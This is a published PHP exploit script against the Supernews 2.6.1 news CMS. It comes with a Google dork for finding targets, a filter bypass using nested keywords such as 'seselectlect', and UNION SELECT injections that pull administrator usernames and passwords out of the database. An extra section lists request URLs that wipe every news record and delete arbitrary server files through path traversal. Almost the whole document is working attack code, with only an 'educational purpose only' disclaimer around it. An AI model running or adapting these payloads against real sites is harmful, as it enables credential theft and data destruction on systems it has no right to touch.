Supernews 2.6.1 – SQL Injection
<?php # Exploit Title: Supernews <= 2.6.1 SQL Injection Exploit # Google Dork: intext:"2003 - 2004 : SuperNews : Todos os direitos reservados" # Date: 2012/ # Author: WhiteCollarGroup # Software Link: http://phpbrasil.com/script/vT0FaOCySSH/supernews # Version: 2.6.1 # Tested on: Debian GNU/Linux /* Exploit for educational purpose only. Note sent to the developer Fernando Pontes by e-mail odnanrefsetnop@bol.com.br SuperNews are a brazilian news system in PHP and MySQL. Versions priors to 2.6 have a simple SQL Injection on view news. The developer tried to fix the bug removing keywords like "union" and "select". But, with a recursion, it's possible to bypass this filters. See: seselectlect After removing "select" word, will stay another "select" word. See more: seSELECTlect Another SQL Injection on the administration panel: When deleting a post, you can inject SQL for delete all news on the database. Another vulnerability allows to delete files, on the administration panel: When deleting a post, a variable called "unlink" will talk to the system the new's image for delete. But it's possible to delete others files, typing all the file path or using "../". Usage: php exploit.php http://target.com/supernews/ For more info about vulnerabilities: php exploit.php moreinfo Example: $ php exploit.php http://target.com/news/ Supernews <= 2.6.1 SQL Injection Exploit Coded by WhiteCollarGroup - www.wcgroup.host56.com Use at your own risk. [*] Trying to access server... [*] Detecting version... :-o [!] Version: >2.6.1 :-) [!] Administration panel: http://target.com/news/admin/adm_noticias.php [i] Type "exploit.php moreinfo" for get others vulnerabilities. [*] Getting user & pass 8-] User: user1 Pass: pass1 User: user2 Pass: pass2 Good luck! :-D */ error_reporting(E_ERROR); set_time_limit(0); @ini_set("default_socket_timeout", 30); function hex($string){ $hex=''; // PHP 'Dim' =] for ($i=0; $i < strlen($string); $i++){ $hex .= dechex(ord($string[$i])); } return '0x'.$hex; } function str_replace_every_other($needle, $replace, $haystack, $count=null, $replace_first=true) { $count = 0; $offset = strpos($haystack, $needle); //If we don't replace the first, go ahead and skip it if (!$replace_first) { $offset += strlen($needle); $offset = strpos($haystack, $needle, $offset); } while ($offset !== false) { $haystack = substr_replace($haystack, $replace, $offset, strlen($needle)); $count++; $offset += strlen($replace); $offset = strpos($haystack, $needle, $offset); if ($offset !== false) { $offset += strlen($needle); $offset = strpos($haystack, $needle, $offset); } } return $haystack; } function removeaddregex($str) { return str_replace_every_other('(.*)', '', $str, null, false); } function preg_quote_working($str) { $chars = explode(" ", "\ . + * ? [ ^ ] $ ( ) { } = ! < > | :"); foreach($chars as $char) { $str = str_replace($char, "\\".$char, $str); } return $str; } echo "\nSupernews <= 2.6.1 SQL Injection Exploit"; echo "\nCoded by WhiteCollarGroup - www.wcgroup.host56.com\nUse at your own risk.\n\n"; if($argc!=2) { echo "Usage: php $argv[0] url Example: php $argv[0] http://target.com/supernews php $argv[0] https://target.com/supernews/"; exit; } if($argv[1]=="moreinfo") { echo "\nMore vulnerabilities: - Deleting files You can delete files on the server, after login, using the URL: http://server.com/admin/adm_noticias.php?deleta=ID&unlink=FILE Replace \"ID\" with a valid post ID (will be deleted) and FILE with the file address on the server. - Deleting all news on the database: You can delete all news on the database with one request, only. Look: http://server.com/admin/adm_noticias.php?deleta=0%20or%201=1--+ All vulnerabilities discovered by WCGroup.\n"; exit; } $uri = $argv[1]; if(substr($uri, -1, 1)!="/") { $uri .= "/"; } $url = $uri."noticias.php?noticia=".urlencode("-1")."+"; echo "\n[*] Trying to access server..."; $accessvr = @file_get_contents($url); if(($accessvr==false) OR (preg_match("/(404|mysql_query)/", $accessvr))) { $url = $uri."index.php?noticia=".urlencode("-1")."+"; } $token = substr(md5(chr(rand(48, 122))), 0, 10); echo "\n[*] Detecting version... :-o"; $gettoken = strip_tags(file_get_contents($url.urlencode("union all select 1,2,3,4,".hex($token).",6,7-- "))); if(preg_match("/".$token."/", $gettoken)) { echo "\n[!] Version: >2.6.1 :-)"; $version = 1; } else { $gettoken = strip_tags(file_get_contents($url.urlencode("uniunionon seleselectct 1,2,3,4,5,".hex($token).",7,8-- "))); if(preg_match("/".$token."/", $gettoken)) { echo "\n[!] Version =2.6.1 :-)"; $version = 2; } else { echo "\n[-] Unknown version :-S"; $version = 3; } } if($version!=3) { echo "\n[!] Administration panel: {$uri}admin/adm_noticias.php"; echo "\n[i] Type \"$argv[0] moreinfo\" for get others vulnerabilities."; echo "\n[*] Getting user & pass 8-]"; } if($version==1) { $i = 0; while(true) { $request = strip_tags(file_get_contents($url.urlencode("union all select 1,2,3,4,concat(".hex($token).",user,".hex($token).",pass,".hex($token)."),6,7 from supernews_login limit $i,1-- "))); preg_match_all("/$token(.*)$token(.*)$token/", $request, $get); if($get[1][0]!="") { $user = $get[1][0]; $pass = $get[2][0]; echo "\nUser: $user\nPass: $pass\n"; $i++; } else { echo "\nGood luck! :-D"; break; } } } elseif($version==2) { $i = 0; while(true) { $request = strip_tags(file_get_contents($url.urlencode("uniunionon seleselectct 1,2,3,4,5,concat(".hex($token).",user,".hex($token).",pass,".hex($token)."),7,8 from supernews_login limit $i,1-- "))); preg_match_all("/$token(.*)$token(.*)$token/", $request, $get); if($get[1][0]!="") { $user = $get[1][0]; $pass = $get[2][0]; echo "\nUser: $user\nPass: $pass\n"; $i++; } else { echo "\nGood luck! :-D"; break; } } } else { echo "\n\nThis site are using an unknown version of Supernews or another CMS."; echo "\nPlease note that only versions <= 2.6.1 of Supernews are vulnerable."; echo "\nWebservers with modules or firewalls like \"mod_security\" aren't vulnerables."; echo "\nIf you want, try to access manually:"; echo "\nThe vulnerability are on view notice file (index.php or noticia.php), in variable \"noticia\", a simple SQL Injection."; echo "\nWe're sorry."; } echo "\n"; |